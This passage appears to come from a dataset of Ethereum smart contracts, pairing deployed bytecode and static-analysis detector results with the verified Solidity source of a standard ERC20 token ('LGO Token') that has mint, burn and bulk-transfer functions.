169055565b61080d61146e565b60008481526003602052604090205473ffffffffffffffffffffffffffffffffffffffff1680610869576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611cf9565b835160608167ffffffffffffffff8111801561088457600080fd5b506040519080825280602002602001820160405280156108be57816020015b6108ab611486565b8152602001906001900390816108a35790505b50905060005b82811015610a3e578373ffffffffffffffffffffffffffffffffffffffff1663d4fac45d8883815181106108f457fe5b6020026020010151886040518363ffffffff1660e01b815260040161091a92919061192e565b60206040518083038186803b15801561093257600080fd5b505afa925050508015610980575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261097d9181019061187f565b60015b6109df57604051806040016040528088838151811061099b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16815260200160008152508282815181106109cf57fe5b6020026020010181905250610a36565b60405180604001604052808984815181106109f657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16815260200182815250838381518110610a2957fe5b6020026020010181905250505b6001016108c4565b506040805180820190915296875260208701525093949350505050565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ac8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611a9c565b8480610b00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611baf565b808414610b39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611d67565b808214610b72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611b0a565b60005b818110156104cc57610bd7888883818110610b8c57fe5b90506020020135878784818110610b9f57fe5b9050602002016020810190610bb49190611609565b868685818110610bc057fe5b9050602002810190610bd29190611e8d565b6111ac565b600101610b75565b606080610c3c6002805480602002602001604051908101604052809291908181526020018280548015610c3157602002820191906000526020600020905b815481526020019060010190808311610c1d575b505050505084610223565b905060608060006060600080865167ffffffffffffffff81118015610c6057600080fd5b50604051908082528060200260200182016040528015610c8a578160200160208202803683370190505b508751600095509093509150835b82811015610d5457878181518110610cac57fe5b60200260200101516020015196506000848281518110610cc857fe5b60209081029190910101528651915060005b82811015610d28576000888281518110610cf057fe5b6020026020010151602001511115610d2057848281518110610d0e57fe5b60209081029190910101805160010190525b600101610cda565b506000848281518110610d3757fe5b60200260200101511115610d4c576001909401935b600101610c98565b5060608467ffffffffffffffff81118015610d6e57600080fd5b50604051908082528060200260200182016040528015610da857816020015b610d9561146e565b815260200190600190039081610d8d5790505b50600095509050845b83811015610f5f57848181518110610dc557fe5b602002602001015160001415610dda57610f57565b888181518110610de657fe5b6020026020010151602001519750848181518110610e0057fe5b602002602001015167ffffffffffffffff81118015610e1e57600080fd5b50604051908082528060200260200182016040528015610e5857816020015b610e45611486565b815260200190600190039081610e3d5790505b5096506000858281518110610e6957fe5b60209081029190910101528751925060005b83811015610f0c57888181518110610e8f57fe5b60200260200101516020015160001415610ea857610f04565b888181518110610eb457fe5b602002602001015188878481518110610ec957fe5b602002602001015181518110610edb57fe5b6020026020010181905250858281518110610ef257fe5b60209081029190910101805160010190525b600101610e7b565b5060405180604001604052808a8381518110610f2457fe5b602002602001015160000151815260200188815250828781518110610f4557fe5b60209081029190910101526001909501945b600101610db1565b509998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff163314610fda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611a9c565b8080611012576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611be6565b60005b818110156110405761103884848381811061102c57fe5b9050602002013561131d565b600101611015565b50505050565b60008481526003602052604090205473ffffffffffffffffffffffffffffffffffffffff16806110a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611c54565b73ffffffffffffffffffffffffffffffffffffffff84166110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611b41565b8373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114257600085815260046020526040902061113c90848461149d565b506111a5565b600085815260036020908152604080832080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8916179055600490915290206111a390848461149d565b505b5050505050565b836111e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611d9e565b73ffffffffffffffffffffffffffffffffffffffff8316611230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611e0c565b60008481526003602052604090205473ffffffffffffffffffffffffffffffffffffffff161561128c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611cc2565b60028054600181019091557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01849055600084815260036020908152604080832080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8816179055600490915290206111a590838361149d565b60008181526003602052604090205473ffffffffffffffffffffffffffffffffffffffff16611378576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611ad3565b60025460005b826002828154811061138c57fe5b9060005260206000200154146113a45760010161137e565b6001820381146113e357600260018303815481106113be57fe5b9060005260206000200154600282815481106113d657fe5b6000918252602090912001555b60028054806113ee57fe5b6000828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810183905590920190925584825260038152604080832080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690556004909152812061146991611525565b505050565b60408051808201909152600081526060602082015290565b604080518082019091526000808252602082015290565b828054828255906000526020600020908101928215611515579160200282015b828111156115155781547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8435161782556020909201916001909101906114bd565b50611521929150611546565b5090565b50805460008255906000526020600020908101906115439190611582565b50565b61052c91905b808211156115215780547fffffffffffffffffffffffff000000000000000000000000000000000000000016815560010161154c565b61052c91905b808211156115215760008155600101611588565b803573ffffffffffffffffffffffffffffffffffffffff8116811461035557600080fd5b60008083601f8401126115d1578182fd5b50813567ffffffffffffffff8111156115e8578182fd5b602083019150836020808302850101111561160257600080fd5b9250929050565b60006020828403121561161a578081fd5b611624838361159c565b9392505050565b6000806020838503121561163d578081fd5b823567ffffffffffffffff811115611653578182fd5b61165f858286016115c0565b90969095509350505050565b60008060008060008060608789031215611683578182fd5b863567ffffffffffffffff8082111561169a578384fd5b6116a68a838b016115c0565b909850965060208901359150808211156116be578384fd5b6116ca8a838b016115c0565b909650945060408901359150808211156116e2578384fd5b506116ef89828a016115c0565b979a9699509497509295939492505050565b60008060408385031215611713578182fd5b823567ffffffffffffffff811115611729578283fd5b80840185601f82011261173a578384fd5b8035915061174f61174a83611f1d565b611ef6565b80838252602080830192508084018982838802870101111561176f578788fd5b8794505b85851015611791578035845260019490940193928101928101611773565b508196506117a189828a0161159c565b955050505050509250929050565b6000602082840312156117c0578081fd5b5035919050565b6000806000606084860312156117db578283fd5b8335925060208085013567ffffffffffffffff8111156117f9578384fd5b80860187601f82011261180a578485fd5b8035915061181a61174a83611f1d565b82815283810190828501858502840186018b1015611836578788fd5b8793505b848410156118605761184c8b8261159c565b83526001939093019291850191850161183a565b508096505050505050611876856040860161159c565b90509250925092565b600060208284031215611890578081fd5b5051919050565b6000604080840183518552602080850151838288015282815180855260608901915083830194508692505b80831015611901578451805173ffffffffffffffffffffffffffffffffffffffff168352840151848301529383019360019290920191908501906118c2565b50979650505050505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b6020808252825182820181905260009190848201906040850190845b818110156119a357835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101611971565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156119a3578351835292840192918401916001016119cb565b6000602080830181845280855180835260408601915060408482028701019250838701855b82811015611a58577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc0888603018452611a46858351611897565b94509285019290850190600101611a0c565b5092979650505050505050565b60208082526011908201527f4f3a20656d707479206e65774f776e6572000000000000000000000000000000604082015260600190565b6020808252600d908201527f4f3a206f6e6c79206f776e657200000000000000000000000000000000000000604082015260600190565b60208082526016908201527f50414d3a20646f6573206e6f742065786973745b315d00000000000000000000604082015260600190565b60208082526016908201527f50414d3a206c656e67746873206469666665725b325d00000000000000000000604082015260600190565b6020808252600c908201527f50414d3a207a65726f5b335d0000000000000000000000000000000000000000604082015260600190565b60208082526019908201527f4f3a20657175616c20746f2070656e64696e674f776e65725f00000000000000604082015260600190565b6020808252600d908201527f50414d3a20656d7074795b315d00000000000000000000000000000000000000604082015260600190565b6020808252600d908201527f50414d3a20656d7074795b325d00000000000000000000000000000000000000604082015260600190565b6020808252600d908201527f50414d3a20656d7074795b335d00000000000000000000000000000000000000604082015260600190565b60208082526016908201527f50414d3a20646f6573206e6f742065786973745b325d00000000000000000000604082015260600190565b60208082526012908201527f4f3a20657175616c20746f206f776e65725f0000000000000000000000000000604082015260600190565b6020808252600b908201527f50414d3a20657869737473000000000000000000000000000000000000000000604082015260600190565b6020808252601b908201527f41523a206261642070726f746f636f6c416461707465724e616d650000000000604082015260600190565b60208082526015908201527f4f3a206f6e6c792070656e64696e67206f776e65720000000000000000000000604082015260600190565b60208082526016908201527f50414d3a206c656e67746873206469666665725b315d00000000000000000000604082015260600190565b6020808252600c908201527f50414d3a207a65726f5b315d0000000000000000000000000000000000000000604082015260600190565b60208082526016908201527f50414d3a206c656e67746873206469666665725b335d00000000000000000000604082015260600190565b6020808252600c908201527f50414d3a207a65726f5b325d0000000000000000000000000000000000000000604082015260600190565b60208082526016908201527f50414d3a206c656e67746873206469666665725b345d00000000000000000000604082015260600190565b6000602082526116246020830184611897565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112611ec1578283fd5b8084018035925067ffffffffffffffff831115611edc578384fd5b602081019350505060208102360382131561160257600080fd5b60405181810167ffffffffffffffff81118282101715611f1557600080fd5b604052919050565b600067ffffffffffffffff821115611f33578081fd5b506020908102019056fea2646970667358221220e0c906874261ff5f6efafa29192ab39c02a14e81ad17a12fb226e576fed75e9d64736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,991
0x0a50c93c762fdd6e56d86215c24aaad43ab629aa
/** *Submitted for verification at Etherscan.io on 2019-07-10 */ pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account&#39;s access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn&#39;t required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender&#39;s allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /** * @title New LGO contract * @dev ERC20 with bulk minting function restricted to minter role, bulk transferring and burn function */ contract NewLGO is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable { /** * [LGO Token CONSTRUCTOR] * @dev Deploy contract with name, symbol and decimal */ constructor() ERC20Detailed("LGO Token", "LGO", 8) public { } /** * @dev Public function that mints amounts of token and assigns it to * respective accounts * @param accounts The accounts that will receive the created tokens. * @param values The amounts that will be created (in the same order). */ function bulkMint(address[] memory accounts, uint256[] memory values) public { require(accounts.length == values.length, "Accounts array and values array don&#39;t have the same length"); for (uint i = 0; i<accounts.length; i++) { mint(accounts[i], values[i]); } } /** * @dev Public function that transfers amounts of token to * respective accounts * @param accounts The accounts that will receive the tokens. * @param values The amounts that will be sent (in the same order). */ function bulkTransfer(address[] memory accounts, uint256[] memory values) public { require(accounts.length == values.length, "Accounts array and values array don&#39;t have the same length"); for (uint i = 0; i<accounts.length; i++) { transfer(accounts[i], values[i]); } } }
0x608060405234801561001057600080fd5b50600436106101515760003560e01c80636ae459bd116100cd5780639865027511610081578063a9059cbb11610066578063a9059cbb14610662578063aa271e1a1461069b578063dd62ed3e146106ce57610151565b80639865027514610621578063a457c2d71461062957610151565b806379cc6790116100b257806379cc6790146105ad57806395d89b41146105e6578063983b2d56146105ee57610151565b80636ae459bd1461045357806370a082311461057a57610151565b806323b872dd11610124578063395093511161010957806339509351146103c457806340c10f19146103fd57806342966c681461043657610151565b806323b872dd14610363578063313ce567146103a657610151565b806306fdde0314610156578063095ea7b3146101d3578063153a1f3e1461022057806318160ddd14610349575b600080fd5b61015e610709565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610198578181015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020c600480360360408110156101e957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356107bd565b604080519115158252519081900360200190f35b6103476004803603604081101561023657600080fd5b81019060208101813564010000000081111561025157600080fd5b82018360208201111561026357600080fd5b8035906020019184602083028401116401000000008311171561028557600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156102d557600080fd5b8201836020820111156102e757600080fd5b8035906020019184602083028401116401000000008311171561030957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610853945050505050565b005b6103516108f7565b60408051918252519081900360200190f35b61020c6004803603606081101561037957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356108fd565b6103ae6109ed565b6040805160ff9092168252519081900360200190f35b61020c600480360360408110156103da57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356109f6565b61020c6004803603604081101561041357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610acb565b6103476004803603602081101561044c57600080fd5b5035610af2565b6103476004803603604081101561046957600080fd5b81019060208101813564010000000081111561048457600080fd5b82018360208201111561049657600080fd5b803590602001918460208302840111640100000000831117156104b857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561050857600080fd5b82018360208201111561051a57600080fd5b8035906020019184602083028401116401000000008311171561053c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610aff945050505050565b6103516004803603602081101561059057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b9e565b610347600480360360408110156105c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610bc6565b61015e610bd4565b6103476004803603602081101561060457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c53565b610347610c6e565b61020c6004803603604081101561063f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610c79565b61020c6004803603604081101561067857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610cdc565b61020c600480360360208110156106b157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ce9565b610351600480360360408110156106e457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610d02565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107b35780601f10610788576101008083540402835291602001916107b3565b820191906000526020600020905b81548152906001019060200180831161079657829003601f168201915b5050505050905090565b600073ffffffffffffffffffffffffffffffffffffffff83166107df57600080fd5b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b80518251146108ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806112eb603a913960400191505060405180910390fd5b60005b82518110156108f2576108e98382815181106108c857fe5b60200260200101518383815181106108dc57fe5b6020026020010151610cdc565b506001016108b0565b505050565b60025490565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020908152604080832033845290915281205461093e908363ffffffff610d3a16565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260016020908152604080832033845290915290205561097a848484610d4f565b73ffffffffffffffffffffffffffffffffffffffff84166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b600073ffffffffffffffffffffffffffffffffffffffff8316610a1857600080fd5b33600090815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152902054610a59908363ffffffff610e4e16565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff89168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000610ad633610ce9565b610adf57600080fd5b610ae98383610e67565b50600192915050565b610afc3382610f36565b50565b8051825114610b59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806112eb603a913960400191505060405180910390fd5b60005b82518110156108f257610b95838281518110610b7457fe5b6020026020010151838381518110610b8857fe5b6020026020010151610acb565b50600101610b5c565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b610bd08282611004565b5050565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107b35780601f10610788576101008083540402835291602001916107b3565b610c5c33610ce9565b610c6557600080fd5b610afc816110ed565b610c7733611142565b565b600073ffffffffffffffffffffffffffffffffffffffff8316610c9b57600080fd5b33600090815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152902054610a59908363ffffffff610d3a16565b6000610ae9338484610d4f565b6000610cfc60068363ffffffff61119716565b92915050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b600082821115610d4957600080fd5b50900390565b73ffffffffffffffffffffffffffffffffffffffff8216610d6f57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902054610da5908263ffffffff610d3a16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152602081905260408082209390935590841681522054610de7908263ffffffff610e4e16565b73ffffffffffffffffffffffffffffffffffffffff8084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082820183811015610e6057600080fd5b9392505050565b73ffffffffffffffffffffffffffffffffffffffff8216610e8757600080fd5b600254610e9a908263ffffffff610e4e16565b60025573ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040902054610ed3908263ffffffff610e4e16565b73ffffffffffffffffffffffffffffffffffffffff83166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b73ffffffffffffffffffffffffffffffffffffffff8216610f5657600080fd5b600254610f69908263ffffffff610d3a16565b60025573ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040902054610fa2908263ffffffff610d3a16565b73ffffffffffffffffffffffffffffffffffffffff8316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160209081526040808320338452909152902054611045908263ffffffff610d3a16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602090815260408083203384529091529020556110808282610f36565b73ffffffffffffffffffffffffffffffffffffffff82166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35050565b6110fe60068263ffffffff6111e616565b60405173ffffffffffffffffffffffffffffffffffffffff8216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b61115360068263ffffffff61126a16565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b600073ffffffffffffffffffffffffffffffffffffffff82166111b957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff166000908152602091909152604090205460ff1690565b73ffffffffffffffffffffffffffffffffffffffff811661120657600080fd5b6112108282611197565b1561121a57600080fd5b73ffffffffffffffffffffffffffffffffffffffff1660009081526020919091526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b73ffffffffffffffffffffffffffffffffffffffff811661128a57600080fd5b6112948282611197565b61129d57600080fd5b73ffffffffffffffffffffffffffffffffffffffff1660009081526020919091526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905556fe4163636f756e747320617272617920616e642076616c75657320617272617920646f6e27742068617665207468652073616d65206c656e677468a265627a7a72305820898281510f2540b52fce958a581aeacd93c6b6f21930cacd4bb07c7f113e4b1264736f6c634300050a0032
{"success": true, "error": null, "results": {}}
6,992
0xbf4782f34a83b062e9dfd17ec1d26c969a851333
pragma solidity >=0.6.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // 